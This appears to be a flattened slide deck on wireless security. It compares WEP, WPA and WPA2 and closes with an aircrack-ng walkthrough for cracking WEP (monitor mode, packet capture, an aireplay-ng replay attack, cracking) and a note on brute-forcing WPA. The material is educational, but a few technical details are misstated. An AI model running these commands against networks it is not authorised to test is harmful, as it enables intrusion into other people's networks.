OSA vs WEP WPA and WPA II Tools for hacking Wireless Security OSA vs WEP WPA and WPA II Tools for hacking

OSA vs SKA (1997) Open System Association | Shared Key Auth OSA: Complete Free-for-all – no auth at all SKA: Used WEP for Authentication Wireless Equivalent Protocol

WEP and why it sucks Streaming Algorithm RC4 – stream cipher in synchronous mode Need to keep sync at all times (wireless is bad at that) Per-packet master key re-use Every single packet sent holds the RC4 hash More exposure = more vulnerability Limited AP keys WEP only allows 1-4 secret keys so every AP on the network has to share them

WEP and why it sucks (cont.) No AP to client auth MITM attacks are easy Confidentiality Vulnerabilities in header Headers aren't verified by Integrity Checker Makes Redirection Attacks easy Integrity Checker is basically garbage No sequence numbers or timestamps Replay attacks are easy and effective

WPA (2003) Attempt to re-engineer WEP while using hardware already available Movements towards standardization 802.11i – group for increased security WiFi Alliance – standardization between vendors

Improvements on WEP WPA Improvements Integrity checker allowed for 56 bits (stronger keys) Passwords sent per session, not per packet Auth built on 802.1X framework and TKIP Packet sequence numbers (no replay attacks) Integrity checker for header and payload (no redirection attacks)

Improvements on WPA WPA2 (2004) Transition to AES instead of RC4 Way stronger in general Revamped Integrity Checking Leverage AES and better hardware CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol) (wtf) Basically encrypted encapsulation More secure key establishment and auth

Aircrack-ng Suite of tools for assessing WiFi network security ™ Monitoring (packet capturing and processing) Attacking (replay attacks, deauths, fake AP, etc) Testing Cracking (WEP and WPA PSK I+II)

Using it to break WEP iwconfig – check for wireless capabilities airmon-ng start wlan0 Set your wireless card to monitor mode airodump-ng mon0 Start monitoring for crazy stuff in the air Searching for AP's (John's iPhone) Airodump-ng –bssid “mac” -c “channel” -w WEPCrack mon0

Using it to break WEP Open a different terminal aireplay-ng -3 -b 'AP_mac' -h 'host_mac' mon0 Initiate a replay attack Looking for about 15k+ #Data aircrack-ng WEPcrack-01.cap Cracking Just wait for it and hope basically

Using it to crack WPA Basically the same method besides the last part WPA is strong enough that you have to bruteforce the pcap instead of doing analysis oclHashcat > Aircrack-ng because of rainbow tables and rule based cracking 5 minutes vs 2 hours